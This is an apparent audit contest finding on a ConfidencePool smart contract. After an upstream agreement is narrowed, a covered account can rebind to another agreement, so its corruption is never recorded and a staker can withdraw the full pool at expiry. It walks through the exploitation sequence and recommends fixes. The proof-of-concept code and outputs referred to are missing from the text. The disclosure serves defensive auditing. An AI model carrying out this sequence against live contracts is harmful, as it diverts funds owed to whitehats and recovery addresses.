[M] Narrowing the upstream agreement detaches a locked pool scope from its corruption oracle

Severity

Medium.

The bug can misroute the entire pool balance (total stake + total bonus) after a supported
agreement-scope update and a real corruption of an account that the pool still commits to cover.
It is not rated High because exploitation depends on a permitted cross-contract lifecycle change
(agreement narrowing) and an actual later corruption, rather than giving an arbitrary caller an
unconditional withdrawal primitive. Under the current CodeHawks matrix this is high impact with
low likelihood, which resolves to Medium.

Summary

ConfidencePool promises that its scope is a fixed, pool-local commitment. The documentation
explicitly says that narrowing the underlying agreement does not change what the pool covers, and
that a removed account remains part of the pool's binding commitment.

The state oracle does not preserve that commitment. Every outcome check queries only the single
agreement address stored at initialization. After the upstream Agreement owner removes one of
the pool's locked accounts, the pinned AttackRegistry unregisters that account from the original
agreement and permits it to bind to another agreement. A later corruption of that still-covered
account is therefore recorded on the replacement agreement, not on the original agreement that
ConfidencePool keeps querying.

Even the trusted pool moderator is then unable to flag CORRUPTED, because flagOutcome requires
the original agreement to be CORRUPTED. At expiry, any staker can make claimExpired see the
original agreement's still-active state and finalize EXPIRED, receiving principal plus bonus
although a contract in the pool's immutable scope was corrupted.

Vulnerability details

The pool freezes account membership but not the account-to-agreement binding

At initialization and pre-lock scope replacement, the pool verifies only that each account is a
member of the selected agreement at that moment:

• src/ConfidencePool.sol:749-773 — _replaceScope calls
  IAgreement(agreement).isContractInScope(account) once.

• src/ConfidencePool.sol:784-798 — _observePoolState permanently sets scopeLocked, but it
  does not snapshot or validate each account's AttackRegistry binding.

This is important because the pinned upstream interface itself warns that
IAgreement.isContractInScope(account) == true does not establish the account's Binding
Agreement; consumers must resolve it through AttackRegistry
(lib/battlechain-safe-harbor-contracts/src/interface/IAgreement.sol:51-55).
The other initialization check, safeHarborRegistry.isAgreementValid(agreement), establishes only
factory provenance and its interface likewise warns that it does not establish a binding for any
account (ConfidencePool.sol:200-202;
IBattleChainSafeHarborRegistry.sol:41-48). The PoC nevertheless starts with the account correctly
bound to Agreement A, so the failure does not depend on a sponsor choosing a mismatched agreement
at pool creation.

The upstream lifecycle makes binding drift reachable during normal operation:

1. Agreement.removeAccounts is allowed after the commitment window and calls
   _removeFromBattleChainScope (Agreement.sol:246-270).

2. _removeFromBattleChainScope invokes _syncUnregisterContract
   (Agreement.sol:388-408).

3. AttackRegistry.unregisterContractForExistingAgreement clears
   s_contractToAgreement[account] even while the original agreement is UNDER_ATTACK
   (AttackRegistry.sol:430-476).

4. The pinned dependency's own deterministic unit test executes this exact path after an
   agreement is approved: it removes one of two accounts and asserts that the removed account's
   binding becomes address(0) while the other account remains under attack
   (test/unit/AttackRegistryTest.t.sol:1797-1827).

5. An already-registered, non-terminal Agreement B can then add the unbound account.
   registerContractForExistingAgreement permits the link because the reverse mapping is zero and
   writes B as the new binding (AttackRegistry.sol:434-457, :887-906). The exact integration
   deploys the account through the real BattleChainDeployer, verifies that the registry records
   the shared sponsor as both deployer and authorized owner, registers A and B through the verified
   requestUnderAttack path, and executes this remove/add re-link end to end. Thus one sponsor can
   normally move its verified account from A to its already-active B. This path does not depend on
   the dependency's separately documented unverified-account expansion risk. A second integration
   variant with distinct A/B owners retains coverage of the real unverified path.

6. Agreement B's attack moderator can subsequently mark B CORRUPTED from UNDER_ATTACK or
   PROMOTION_REQUESTED (AttackRegistry.sol:320-334); the dependency tests both transitions
   (AttackRegistryTest.t.sol:827-875).

The pinned dependency documentation makes the current Binding Agreement—not historical scope
membership—the source of truth for a BattleChain stress-test exploit, and says the most recently
linked agreement controls when linkage history has multiple candidates
(lib/battlechain-safe-harbor-contracts/README.md:442-453). Therefore B is the agreement that is
expected to record this corruption; requiring A to be marked corrupted as an operational workaround
would contradict the upstream resolution rule and misstate A's now-narrowed scope.

Agreement A's owner does perform the narrowing, but this is not an admin-input mistake outside the
pool's threat model. Narrowing after the commitment window is a supported lifecycle operation, and
post-lock isolation from that exact sponsor action is an explicit Confidence Pool guarantee:

Once the registry leaves pre-attack staging, sponsor changes to the underlying agreement —
adding accounts, narrowing scope, swapping the agreement's recovery address — don't alter what
this pool covers. Stakers are exposed to exactly what they signed up for at deposit time.

(protocol-readme.md:57; see also docs/DESIGN.md:209-231.)

Resolution reads only the stale original agreement

The pool stores a single immutable-in-practice agreement address and _getAgreementState always
does:

(src/ConfidencePool.sol:740-743.) It never calls
AttackRegistry.getAgreementForContract(account) for any member of _scopeAccounts.

Consequently:

• flagOutcome(CORRUPTED, ...) rejects unless the original agreement is CORRUPTED
  (src/ConfidencePool.sol:341-348), even when a frozen pool account is now bound to a different
  agreement that is CORRUPTED.

• claimExpired selects SURVIVED/EXPIRED/CORRUPTED solely from that same original agreement
  (src/ConfidencePool.sol:518-575). If the original agreement stays UNDER_ATTACK for its
  remaining accounts, an ordinary caller finalizes EXPIRED.

The pool moderator's documented off-chain scope judgement cannot repair this through the pool: the
on-chain state == CORRUPTED precondition rejects the correct pool-local outcome before the
moderator's judgement is recorded. Falsely marking Agreement A corrupted in the upstream registry
would alter A globally (including its remaining accounts and bond) and is not a valid pool-local
resolution mechanism.

Impact

When an account in the pool's locked scope is removed from Agreement A, rebound to Agreement B,
and is the breach surface that causes B to become CORRUPTED, the correct pool-local outcome is
CORRUPTED. Depending on good faith, the entire pool should become the named whitehat's bounty or
be swept to recoveryAddress.

Instead, Agreement A can remain UNDER_ATTACK for another account until the pool expires. A staker
then permissionlessly finalizes EXPIRED and receives principal plus the survival bonus. The
misrouted amount can be the entire pool balance:

The PoC deposits 100 tokens of stake and 50 tokens of bonus. Actual result: the staker receives all
150 tokens; the whitehat and recovery address each receive zero. With one staker, this is 100% of
the pool. With multiple stakers, all principal and the distributable bonus are similarly returned
along the wrong outcome path.

Proof of concept

The complete runnable regression test is included directly below, so the finding does not depend on
any external attachment or private file. As supplementary reachability validation, I also ran a
separate cross-compiler integration that deploys the exact Solidity 0.8.26 ConfidencePool creation bytecode built from the contest source,
then compiles and deploys the exact pinned Solidity 0.8.34 BattleChainDeployer, Agreement, and
AttackRegistry sources. In the primary variant, one sponsor deploys all accounts through the real
deployer and owns both Agreements A and B; the pool moderator, staker, bonus contributor, and
whitehat are distinct actors. Both agreements use the verified ownership request path, and B is
registered and UNDER_ATTACK before its real addAccounts hook re-links the account. No
AttackRegistry storage is mocked or edited. Only the standard test token and the
factory/SafeHarborRegistry provenance plumbing are minimal mocks; the deployment registration,
binding, agreement-state, and pool-resolution logic under test is exact. A second test covers the
same downstream failure through the real unverified/distinct-owner lifecycle.

The supplementary exact integration was run with:

Observed result at commit 58e8ba4ce3f3277866e4926f3140e597f9554a1e:

The test proves all of the following in one flow:

1. The real deployer registers the covered account and the registry records the shared sponsor as
   its authorized owner; Agreements A and B both enter attack mode through the verified path.

2. The exact pool locks that account in its own scope while Agreement A is UNDER_ATTACK.

3. After the seven-day commitment, the sponsor calls A's real removeAccounts; the real unregister
   hook clears the binding while A remains active for another account.

4. The same sponsor calls the already-active B's real addAccounts, re-linking the verified account,
   and records B's real CORRUPTED state transition.

5. The pool still reports the account in scope, but the pool moderator's correct CORRUPTED flag
   reverts InvalidOutcome because Agreement A remains UNDER_ATTACK.

6. At expiry, the ordinary staker calls claimExpired and receives all 150 tokens as principal +
   bonus; the whitehat and recovery address receive zero.

The self-contained test below reproduces the pool defect in the contest repository. The exact
integration results above additionally confirm that the binding drift is reachable through the
pinned upstream contracts rather than only through the focused harness.

Self-contained runnable regression test

Add the following file as test/audit/ConfidencePoolBindingDriftPoC.t.sol in the contest repository:

Run:

Observed at contest commit 58e8ba4ce3f3277866e4926f3140e597f9554a1e:

The mock isolates the pool defect; the exact pinned cross-compiler integration described above was
also run against the real BattleChainDeployer, Agreement, and AttackRegistry lifecycle and
passed both the verified same-owner and distinct-owner variants.

Recommended mitigation

Make resolution follow the pool's frozen account commitment, not only the agreement address that
was selected at creation.

One robust approach is:

1. When scope locks, verify and snapshot the current AttackRegistry binding for every pool account.

2. On every resolution path, detect whether any locked account's current binding differs from the
   snapshot/original agreement.

3. If binding drift exists, do not permit the mechanical principal-returning expiry path. Route the
   pool to a moderator-required resolution mode, and allow the already-trusted moderator to flag
   CORRUPTED based on a corrupted current binding for an account in the frozen pool scope.

4. Define a bounded fallback for moderator unavailability so binding drift cannot permanently lock
   funds.

Alternatively, enforce at the upstream integration layer that an account covered by an unresolved
pool cannot be unregistered/re-linked until that pool resolves. A simple
getAgreementForContract(account) == agreement check without a drift-resolution path is
insufficient because it would merely turn the incorrect payout into a permanent freeze.

Tools used

• Manual cross-contract source review at the exact pinned commits.

• Foundry forge 1.7.1 for the focused regression and exact cross-compiler integration PoCs.

• Git for exact-ref and upstream freshness verification.